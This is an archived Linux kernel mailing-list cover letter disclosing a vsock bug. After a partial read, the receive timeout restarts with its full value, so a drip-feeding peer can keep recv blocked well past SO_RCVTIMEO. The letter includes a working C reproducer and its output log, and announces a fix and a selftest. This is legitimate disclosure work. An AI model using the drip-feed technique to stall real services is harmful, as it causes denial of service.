From: Ren Wei <weir@nebusec.ai>
To: virtualization@lists.linux.dev, netdev@vger.kernel.org
Cc: sgarzare@redhat.com, bobbyeshleman@meta.com, davem@davemloft.net,
edumazet@kernel.org, kuba@kernel.org, pabeni@redhat.com,
willemb@google.com, horms@kernel.org,
arseny.krasnov@kaspersky.com, vega@nebusec.ai,
caoruide123@gmail.com, weir@nebusec.ai
Subject: [PATCH net 0/2] vsock: preserve receive timeout across partial reads
Date: Fri, 27 Nov 2026 13:19:12 +0800 [thread overview]
Message-ID: <cover.1795587333.git.caoruide123@gmail.com> (raw)
From: Ruide Cao <caoruide123@gmail.com>
Hi Linux kernel maintainers,
We found and validated an issue in net/vmw_vsock/af_vsock.c. The bug
is reachable by an unprivileged local user who can connect to an
AF_VSOCK SOCK_STREAM service (the reproducer used VMADDR_CID_LOCAL).
We've tested it, and it should not affect any other functionality.
This bug is tracked at: https://bugtracker.nebusec.ai/f/13843
We will provide detailed information about the bug in this email.
---- details below ----
Bug details:
__vsock_stream_recvmsg() takes the SO_RCVTIMEO value once and passes
it by value to vsock_connectible_wait_data(). The helper updates only
its local copy from schedule_timeout() and does not return the
remaining time. After a partial dequeue below the MSG_WAITALL or
SO_RCVLOWAT target, the stream receive loop calls the helper again
with the original full timeout.
A peer that drip-feeds data just inside each interval can therefore
keep the receive blocked far beyond the configured timeout. This is a
receive-timeout contract violation, not a memory-safety bug.
The first patch changes vsock_connectible_wait_data() to take the
timeout by pointer so the remaining budget is preserved across
partial reads. The seqpacket call site is updated the same way; it
only waits once. The second patch adds a tools/testing/vsock
regression for SOCK_STREAM recv(MSG_WAITALL) against a drip-feeding
peer. The selftest keeps the data socket open until both sides
confirm.
Reproducer:
As an unprivileged local user, create a connected AF_VSOCK SOCK_STREAM
pair on VMADDR_CID_LOCAL. On the receiving end, set SO_RCVTIMEO to 1
second and issue recv(MSG_WAITALL) for 6 bytes. Have the peer send one
byte every 0.8 seconds. On an unfixed kernel the recv returns 6 bytes
after about 4.8 seconds instead of failing or returning partial data
near the 1 second timeout.
We ran the PoC in a 2 GB RAM x86 QEMU environment.
------BEGIN PoC------
#define _GNU_SOURCE
#include <errno.h>
#include <linux/vm_sockets.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <time.h>
#include <unistd.h>
#define TOTAL_BYTES 6
#define SEND_INTERVAL_USEC 800000
#define RCV_TIMEOUT_SEC 1
struct test_ctx {
int listener_fd;
unsigned int port;
};
static void fatal(const char *what)
{
perror(what);
exit(1);
}
static double elapsed_seconds(const struct timespec *start,
const struct timespec *end)
{
time_t sec = end->tv_sec - start->tv_sec;
long nsec = end->tv_nsec - start->tv_nsec;
if (nsec < 0) {
sec--;
nsec += 1000000000L;
}
return (double)sec + (double)nsec / 1000000000.0;
}
static void *sender_thread(void *arg)
{
struct test_ctx *ctx = arg;
struct sockaddr_vm peer = {
.svm_family = AF_VSOCK,
};
socklen_t peer_len = sizeof(peer);
int conn_fd;
char ch = 'A';
int i;
conn_fd = accept(ctx->listener_fd, (struct sockaddr *)&peer, &peer_len);
if (conn_fd < 0)
fatal("accept");
fprintf(stdout,
"sender: accepted peer cid=%u port=%u, sending %d bytes every %.3f s\n",
peer.svm_cid, peer.svm_port, TOTAL_BYTES,
(double)SEND_INTERVAL_USEC / 1000000.0);
fflush(stdout);
for (i = 0; i < TOTAL_BYTES; i++) {
ssize_t n;
usleep(SEND_INTERVAL_USEC);
n = send(conn_fd, &ch, 1, 0);
if (n != 1)
fatal("send");
fprintf(stdout, "sender: sent byte %d at +%.3f s\n", i + 1,
(double)(i + 1) * (double)SEND_INTERVAL_USEC / 1000000.0);
fflush(stdout);
ch++;
}
close(conn_fd);
return NULL;
}
int main(void)
{
struct test_ctx ctx = {
.listener_fd = -1,
};
struct sockaddr_vm addr = {
.svm_family = AF_VSOCK,
.svm_cid = VMADDR_CID_LOCAL,
.svm_port = VMADDR_PORT_ANY,
};
struct sockaddr_vm bound = {
.svm_family = AF_VSOCK,
};
struct timeval timeout = {
.tv_sec = RCV_TIMEOUT_SEC,
.tv_usec = 0,
};
struct timespec start;
struct timespec end;
socklen_t bound_len = sizeof(bound);
pthread_t tid;
char buf[TOTAL_BYTES];
int client_fd;
ssize_t n;
double secs;
int i;
ctx.listener_fd = socket(AF_VSOCK, SOCK_STREAM, 0);
if (ctx.listener_fd < 0)
fatal("socket(listener)");
if (bind(ctx.listener_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
fatal("bind(listener)");
if (getsockname(ctx.listener_fd, (struct sockaddr *)&bound, &bound_len) < 0)
fatal("getsockname(listener)");
ctx.port = bound.svm_port;
if (listen(ctx.listener_fd, 1) < 0)
fatal("listen");
fprintf(stdout, "listener: cid=%u port=%u\n", VMADDR_CID_LOCAL, ctx.port);
fflush(stdout);
if (pthread_create(&tid, NULL, sender_thread, &ctx) != 0)
fatal("pthread_create");
client_fd = socket(AF_VSOCK, SOCK_STREAM, 0);
if (client_fd < 0)
fatal("socket(client)");
if (setsockopt(client_fd, SOL_SOCKET, SO_RCVTIMEO, &timeout,
sizeof(timeout)) < 0)
fatal("setsockopt(SO_RCVTIMEO)");
addr.svm_port = ctx.port;
if (connect(client_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
fatal("connect");
memset(buf, 0, sizeof(buf));
if (clock_gettime(CLOCK_MONOTONIC, &start) != 0)
fatal("clock_gettime(start)");
n = recv(client_fd, buf, sizeof(buf), MSG_WAITALL);
if (clock_gettime(CLOCK_MONOTONIC, &end) != 0)
fatal("clock_gettime(end)");
secs = elapsed_seconds(&start, &end);
fprintf(stdout,
"client: recv(MSG_WAITALL, %d) returned %zd after %.3f s (timeout=%d s)\n",
TOTAL_BYTES, n, secs, RCV_TIMEOUT_SEC);
if (n >= 0) {
fprintf(stdout, "client: bytes received:");
for (i = 0; i < n; i++)
fprintf(stdout, " %c", buf[i]);
fprintf(stdout, "\n");
} else {
fprintf(stdout, "client: errno=%d (%s)\n", errno, strerror(errno));
}
if (n == TOTAL_BYTES && secs > 4.0) {
fprintf(stdout,
"RESULT: bug observed. Finite SO_RCVTIMEO did not cap total wait time.\n");
} else if (n > 0 && secs < 2.0) {
fprintf(stdout,
"RESULT: behavior looks fixed. Partial data returned near the original timeout.\n");
} else {
fprintf(stdout,
"RESULT: inconclusive. Re-check timing, transport availability, or system load.\n");
}
fflush(stdout);
close(client_fd);
pthread_join(tid, NULL);
close(ctx.listener_fd);
return 0;
}
------END PoC--------
----BEGIN crash log----
Unprivileged user (test_user, CapEff=0), VMADDR_CID_LOCAL:
listener: cid=1 port=3381025544
sender: accepted peer cid=1 port=3381025545, sending 6 bytes every 0.800 s
sender: sent byte 1 at +0.800 s
sender: sent byte 2 at +1.600 s
sender: sent byte 3 at +2.400 s
sender: sent byte 4 at +3.200 s
sender: sent byte 5 at +4.000 s
sender: sent byte 6 at +4.800 s
client: recv(MSG_WAITALL, 6) returned 6 after 4.816 s (timeout=1 s)
client: bytes received: A B C D E F
RESULT: bug observed. Finite SO_RCVTIMEO did not cap total wait time.
-----END crash log-----
Best regards,
Ruide Cao
Ruide Cao (2):
vsock: preserve receive timeout across partial reads
vsock/test: add stream MSG_WAITALL receive timeout test
net/vmw_vsock/af_vsock.c | 14 ++--
tools/testing/vsock/vsock_test.c | 112 +++++++++++++++++++++++++++++++
2 files changed, 119 insertions(+), 7 deletions(-)
base-commit: cc7fe6e741730fef549e484379281736d32746f0
--
2.47.3
next reply other threads:[~2026-11-27 5:19 UTC|newest]
Thread overview: 10+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-11-27 5:19 Ren Wei [this message]
2026-11-27 5:19 ` [PATCH net 1/2] vsock: preserve receive timeout across partial reads Ren Wei
2026-11-29 6:34 ` Jiaming Fan
2026-12-01 14:32 ` Stefano Garzarella
2026-11-27 5:19 ` [PATCH net 2/2] vsock/test: add stream MSG_WAITALL receive timeout test Ren Wei
2026-11-28 5:19 ` sashiko-bot
2026-11-28 5:56 ` netdev-bot+sashiko
2026-11-29 6:34 ` Jiaming Fan
2026-12-01 14:33 ` Stefano Garzarella
2026-11-28 5:19 ` [PATCH net 0/2] vsock: preserve receive timeout across partial reads sashiko-bot
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1795587333.git.caoruide123@gmail.com \
--to=weir@nebusec.ai \
--cc=arseny.krasnov@kaspersky.com \
--cc=bobbyeshleman@meta.com \
--cc=caoruide123@gmail.com \
--cc=davem@davemloft.net \
--cc=edumazet@kernel.org \
--cc=horms@kernel.org \
--cc=kuba@kernel.org \
--cc=netdev@vger.kernel.org \
--cc=pabeni@redhat.com \
--cc=sgarzare@redhat.com \
--cc=vega@nebusec.ai \
--cc=virtualization@lists.linux.dev \
--cc=willemb@google.com \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.